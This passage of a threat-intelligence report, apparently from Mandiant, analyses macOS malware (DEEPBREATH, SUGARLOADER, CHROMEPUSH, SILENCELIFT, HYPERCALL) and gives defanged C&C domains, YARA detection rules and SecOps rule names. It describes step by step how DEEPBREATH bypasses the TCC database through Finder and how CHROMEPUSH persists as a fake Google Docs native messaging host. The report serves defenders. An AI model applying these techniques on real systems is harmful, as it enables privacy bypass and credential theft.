_t/common.rsp_up
_t/common.rsp_inject_explorer
_t/common.rsp_inject
_t/common.wipe_file
_t/common.rsp_wipe_file
_t/common.send_cmd_result
_t/common.rsp_new_shell
_t/common.rsp_exit_shell
_t/common.rsp_enter_shell
_t/common.rsp_leave_shell
_t/common.rsp_run
_t/common.rsp_runx
_t/common.rsp_test_conn
_t/common.rsp_check_event
_t/common.rsp_sleep
_t/common.rsp_pv
_t/common.rsp_pcmd
_t/common.rsp_pkill
_t/common.rsp_dir
_t/common.rsp_state
_t/common.rsp_get_cfg
_t/common.rsp_set_cfg
_t/common.rsp_chdir
_t/common.get_file_property
_t/common.get_file_property.func1
_t/common.rsp_file_property
_t/common.do_work
_t/common.do_work.deferwrap1
_t/common.Start
_t/common.init_env
_t/common.get_config_path
_t/common.get_startup_path
_t/common.get_launch_plist_path
_t/common.get_os_info
_t/common.get_process_uid
_t/common.get_file_info
_t/common.get_dir_entries
_t/common.is_locked
_t/common.check_event
_t/common.change_dir
_t/common.run_command_line
_t/common.run_command_line.func1
_t/common.copy_file
_t/common.copy_file.deferwrap2
_t/common.copy_file.deferwrap1
_t/common.setup_startup
_t/common.file_exist
_t/common.session_work
_t/common.exit_shell
_t/common.restart_shell
_t/common.start_shell_reader
_t/common.watch_shell_output_loop
_t/common.watch_shell_output_loop.func1
_t/common.watch_shell_output_loop.func1.deferwrap1
_t/common.exec_with_shell
_t/common.start_shell_reader.func1
_t/common.do_work.jump513
_t/common.g_shoud_fork
_t/common.CONFIG_CRYPT_KEY
_t/common.g_conn
_t/common.g_shell_cmd
_t/common.g_shell_pty
_t/common.stop_reader_chan
_t/common.stop_watcher_chan
_t/common.g_config_file_path
_t/common.g_output_buffer
_t/common.g_cfg
_t/common.g_use_shell
_t/common.g_working
_t/common.g_out_changed
_t/common.g_reason
_t/common.g_outputMutex

Figure 11: Notable Golang symbols from the HIDDENCALL AOT file analyzed by Mandiant

t_loader/common
t_loader/inject_mac
t_loader/inject_mac._Cfunc_InjectDylibFromMemory
t_loader/inject_mac.Inject
t_loader/inject_mac.Inject.func1
t_loader/common.rc4_encode
t_loader/common.generate_uid
t_loader/common.load_config
t_loader/common.rc4_decode
t_loader/common.save_config
t_loader/common.resolve_server
t_loader/common.receive_file
t_loader/common.Start
t_loader/common.check_server_urls
t_loader/common.inject_pe
t_loader/common.init_env
t_loader/common.get_config_path

Figure 12: Notable Golang symbols from the HYPERCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t/../build/mac/t.a(000000.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000004.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000005.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000006.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000007.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000008.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000009.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000010.o)
/Users/mac/Documents/go_t/t/../build/mac/t.a(000011.o)

Figure 13: Project file paths from the HIDDENCALL AOT file analyzed by Mandiant

/Users/mac/Documents/go_t/t_loader/inject_mac/inject.go
/Users/mac/Documents/go_t/t_loader/common/common.go
/Users/mac/Documents/go_t/t_loader/common/common_unix.go
/Users/mac/Documents/go_t/t_loader/exe.go

Figure 14: Project file paths from the HYPERCALL AOT file analyzed by Mandiant

DEEPBREATH

A new piece of macOS malware identified during the intrusion was DEEPBREATH, a sophisticated data miner designed to bypass a key component of macOS privacy: the Transparency, Consent, and Control (TCC) database. 

Written in Swift, DEEPBREATH's primary purpose is to gain access to files and sensitive personal information.

TCC Bypass

Instead of prompting the user for elevated permissions, DEEPBREATH directly manipulates the user's TCC database (TCC.db). It executes a series of steps to circumvent protections that prevent direct modification of the live database:

1. Staging: It leverages the Finder application to rename the user's TCC folder and copies the TCC.db file to a temporary staging location, which allows it to modify the database unchallenged. 

2. Permission Injection: Once staged, the malware programmatically inserts permissions, effectively granting itself broad access to critical user folders like Desktop, Documents, and Downloads.

3. Restoration: Finally, it restores the modified database back to its original location, giving DEEPBREATH the broad file system access it needs to operate.

It should be noted that this technique is possible due to the Finder application possessing Full Disk Access (FDA) permissions, which are the permissions necessary to modify the user-specific TCC database in macOS. 

To ensure its operation remains uninterrupted, the malware uses an AppleScript to re-launch itself in the background using the -autodata argument, detaching from the initial process to continue data collection silently throughout the user's session.

With elevated access, DEEPBREATH systematically targets high-value data:

• Credentials: Steals login credentials from the user keychain (login.keychain-db)

• Browser Data: Copies cookies, login data, and local extension settings from major browsers including Google Chrome, Brave, and Microsoft Edge across all user profiles

• Messaging and Notes: Exfiltrates user data from two different versions of Telegram and also targets and copies database files from Apple Notes

DEEPBREATH is a prime example of an attack vector focused on bypassing core operating system security features to conduct widespread data theft.

SUGARLOADER

SUGARLOADER is a downloader written in C++ historically associated with UNC1069 intrusions.

Based on the observations from this intrusion, SUGARLOADER was solely used to deploy CHROMEPUSH. If SUGARLOADER is run without any command arguments, the binary checks for an existing configuration file located on the victim's computer at /Library/OSRecovery/com.apple.os.config. 

The configuration is encrypted using RC4, with a hard-coded 32-byte key found in the binary. 

Once decrypted, the configuration data contains up to two URLs that point to the next stage. The URLs are queried to download the next stage of the infection; if the first URL responds with a suitable executable payload, then the second URL is not queried. 

The decrypted SUGARLOADER configuration for the sample analysed by Mandiant included the following C&C servers:

• breakdream[.]com:443
• dreamdie[.]com:443

CHROMEPUSH

During this intrusion, a second dataminer was recovered and named CHROMEPUSH. This data miner is written in C++ and installs itself as a browser extension targeting Chromium-based browsers, such as Google Chrome and Brave, to collect keystrokes, username and password inputs, and browser cookies, which it uploads to a web server.

CHROMEPUSH establishes persistence by installing itself as a native messaging host for Chromium-based browsers. For Google Chrome, CHROMEPUSH copies itself to %HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs and creates a corresponding manifest file, com.google.docs.offline.json, in the same directory.

{
  "name": "com.google.docs.offline",
  "description": "Native messaging for Google Docs Offline extension",
  "path": "%HOME%/Library/Application Support/Google/Chrome/NativeMessagingHosts/Google Chrome Docs",
  "type": "stdio",
  "allowed_origins": [ "chrome-extension://hennhnddfkgohngcngmflkmejacokfik/" ]
}

Figure 15: Manifest file for Google Chrome native messaging host established by the data miner

By installing itself as a native messaging host, CHROMEPUSH will be automatically executed when the corresponding browser is executed. 

Once executed via the native messaging host mechanism, the data miner creates a base data directory at %HOME%/Library/Application Support/com.apple.os.receipts and performs browser identification. A subdirectory within the base data directory is created with the corresponding identifier, which is based on the detected browser:

• Google Chrome leads to the subdirectory being named "c".

• Brave Browser leads to the subdirectory being named "b".

• Arc leads to the subdirectory being named "a".

• Microsoft Edge leads to the subdirectory being named "e".

• If none of these match, the subdirectory name is set to "u".

CHROMEPUSH reads configuration data from the file location %HOME%/Library/Application Support/com.apple.os.receipts/setting.db. The configuration settings are parsed in JavaScript Objection Notation (JSON) format. The names of the used JSON variables indicate their potential usage:

• cap_on: Assumed to control whether screen captures should be taken

• cap_time: Assumed to control the interval of screen captures

• coo_on: Assumed to control whether cookies should be accessed

• coo_time: Assumed to control the interval of accessing the cookie data

• key_on: Assumed to control whether keypresses should be logged

• C&C URL

CHROMEPUSH stages collected data in temporary files within the %HOME%/Library/Application Support/com.apple.os.receipts/<browser_id>/ directory.

These files are then renamed using the following formats:

• Screenshots: CAYYMMDDhhmmss.dat

• Keylogging: KLYYMMDDhhmmss.dat

• Cookies: CK_<browser_identifier><unknown_id>.dat

CHROMEPUSH stages and sends the collected data in HTTP POST requests to its C&C server. In the sample analysed by Mandiant, the C&C server was identified as hxxp://cmailer[.]pro:80/upload. 

SILENCELIFT

SILENCELIFT is a minimalistic backdoor written in C/C++ that beacons host information to a hard-coded C&C server. The C&C server identified in this sample was identified as support-zoom[.]us.

SILENCELIFT retrieves a unique ID from the hard-coded file path /Library/Caches/.Logs.db. Notably, this is the exact same path used by the CHROMEPUSH. The backdoor also gets the lock screen status, which is sent to the C&C server with the unique ID. 

If executed with root privileges, SILENCELIFT can actively interrupt Telegram communications while beaconing to its C&C server.

Indicators of Compromise

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Network-Based Indicators

Host-Based Indicators

YARA Rules

rule G_Backdoor_WAVESHAPER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "c91725905b273e81e9cc6983a11c8d60"
		rev = 1
	strings:
		$str1 = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
		$str2 = "/tmp/.%s"
		$str3 = "grep \"Install Succeeded\" /var/log/install.log | awk '{print $1, $2}'"
		$str4 = "sysctl -n hw.model"
		$str5 = "sysctl -n machdep.cpu.brand_string"
		$str6 = "sw_vers --ProductVersion"
	condition:
		all of them
}

rule G_Backdoor_WAVESHAPER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-03"
		date_modified = "2025-11-03"
		md5 = "eb7635f4836c9e0aa4c315b18b051cb5"
		rev = 1
	strings:
		$str1 = "__Z10RunCommand"
		$str2 = "__Z11GenerateUID"
		$str3 = "__Z11GetResponse"
		$str4 = "__Z13WriteCallback"
		$str5 = "__Z14ProcessRequest"
		$str6 = "__Z14SaveAndExecute"
		$str7 = "__Z16MakeStatusString"
		$str8 = "__Z24GetCurrentExecutablePath"
		$str9 = "__Z7Execute"
	condition:
		all of them
}

rule G_Downloader_HYPERCALL_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-10-24"
		date_modified = "2025-10-24"
		rev = 1
	strings:
		$go_build = "Go build ID:"
		$go_inf = "Go buildinf:"
		$lib1 = "/inject_mac/inject.go"
		$lib2 = "github.com/gorilla/websocket"
		$func1 = "t_loader/inject_mac.Inject"
		$func2 = "t_loader/common.rc4_decode"
		$c1 = { 48 BF 00 AC 23 FC 06 00 00 00 0F 1F 00 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B 32 48 8B 52 ?? 48 8B 76 ?? 48 89 CF 48 89 D9 48 89 C3 48 89 D0 FF D6 }
		$c2 = { 48 89 D6 48 F7 EA 48 01 DA 48 01 CA 48 C1 FA 1A 48 C1 FE 3F 48 29 F2 48 69 D2 00 E1 F5 05 48 29 D3 48 8D 04 19 }
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe) and all of ($go*) and any of ($lib*) and any of ($func*) and all of ($c*)
}

rule G_Backdoor_SILENCELIFT_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "4e4f2dfe143ba261fd8a18d1c4b58f2e"
		date_created = "2025/10/23"
		date_modified = "2025/10/28"
		rev = 2
	strings:
		$ss1 = "/usr/libexec/PlistBuddy -c \"print :IOConsoleUsers:0:CGSSessionScreenIsLocked\" /dev/stdin 2>/dev/null <<< \"$(ioreg -n Root -d1 -a)\"" ascii fullword
		$ss2 = "pkill -CONT -f" ascii fullword
		$ss3 = "pkill -STOP -f" ascii fullword
		$ss4 = "/Library/Caches/.Logs.db" ascii fullword
		$ss5 = "/Library/Caches/.evt_"
		$ss6 = "{\"bot_id\":\""
		$ss7 = "\", \"status\":"
		$ss8 = "/Library/Fonts/.analyzed" ascii fullword
	condition:
		all of them
}

rule G_APTFIN_Downloader_SUGARLOADER_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "3712793d3847dd0962361aa528fa124c"
		date_created = "2025/10/15"
		date_modified = "2025/10/15"
		rev = 1
	strings:
		$ss1 = "/Library/OSRecovery/com.apple.os.config"
		$ss2 = "/Library/Group Containers/OSRecovery"
		$ss4 = "_wolfssl_make_rng"
	condition:
		all of them
}

rule G_APTFIN_Downloader_SUGARLOADER_2 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$m1 = "__mod_init_func\x00lko2\x00"
		$m2 = "__mod_term_func\x00lko2\x00"
		$m3 = "/usr/lib/libcurl.4.dylib"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe) and (all of ($m1, $m2, $m3))
}

rule G_Datamine_DEEPBREATH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$sa1 = "-fakedel"
		$sa2 = "-autodat"
		$sa3 = "-datadel"
		$sa4 = "-extdata"
		$sa5 = "TccClickJack"
		$sb1 = "com.apple.TCC\" as alias"
		$sb2 = "/TCC.db\" as alias"
		$sc1 = "/group.com.apple.notes\") as alias"
		$sc2 = ".keepcoder.Telegram\")"
		$sc3 = "Support/Google/Chrome/\")"
		$sc4 = "Support/BraveSoftware/Brave-Browser/\")"
		$sc5 = "Support/Microsoft Edge/\")"
		$sc6 = "& \"/Local Extension Settings\""
		$sc7 = "& \"/Cookies\""
		$sc8 = "& \"/Login Data\""
		$sd1 = "\"cp -rf \" & quoted form of "
	condition:
		(uint32(0) == 0xfeedfacf) and 2 of ($sa*) and 2 of ($sb*) and 3 of ($sc*) and 1 of ($sd*)
}

rule G_Datamine_CHROMEPUSH_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		date_created = "2025-11-06"
		date_modified = "2025-11-06"
		rev = 1
	strings:
		$s1 = "%s/CA%02d%02d%02d%02d%02d%02d.dat"
		$s2 = "%s/tmpCA.dat"
		$s3 = "mouseStates"
		$s4 = "touch /Library/Caches/.evt_"
		$s5 = "cp -f"
		$s6 = "rm -rf"
		$s7 = "keylogs"
		$s8 = "%s/KL%02d%02d%02d%02d%02d%02d.dat"
		$s9 = "%s/tmpKL.dat"
		$s10 = "OK: Create data.js success"
	condition:
		(uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca or uint32(0) == 0xcafebabf or uint32(0) == 0xbfbafeca) and 8 of them
}

Google Security Operations (SecOps)

Google SecOps customers have access to these broad category rules and more under the “Mandiant Intel Emerging Threats” and “Mandiant Hunting Rules” rule packs. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Application Support com.apple Suspicious Filewrites

• Chrome Native Messaging Directory

• Chrome Service Worker Directory Deletion

• Database Staging in Library Caches

• macOS Chrome Extension Modification

• macOS Notes Database Harvesting

• macOS TCC Database Manipulation

• Suspicious Access To macOS Web Browser Credentials

• Suspicious Audio Hardware Fingerprinting

• Suspicious Keychain Interaction

• Suspicious Library Font Directory File Write

• Suspicious Multi-Stage Payload Loader

• Suspicious Permissions on macOS System File

• Suspicious SoftwareUpdate Masquerading

• Suspicious TCC Database Modification

• Suspicious Web Downloader Pipe to ZSH

• Telegram Session Data Staging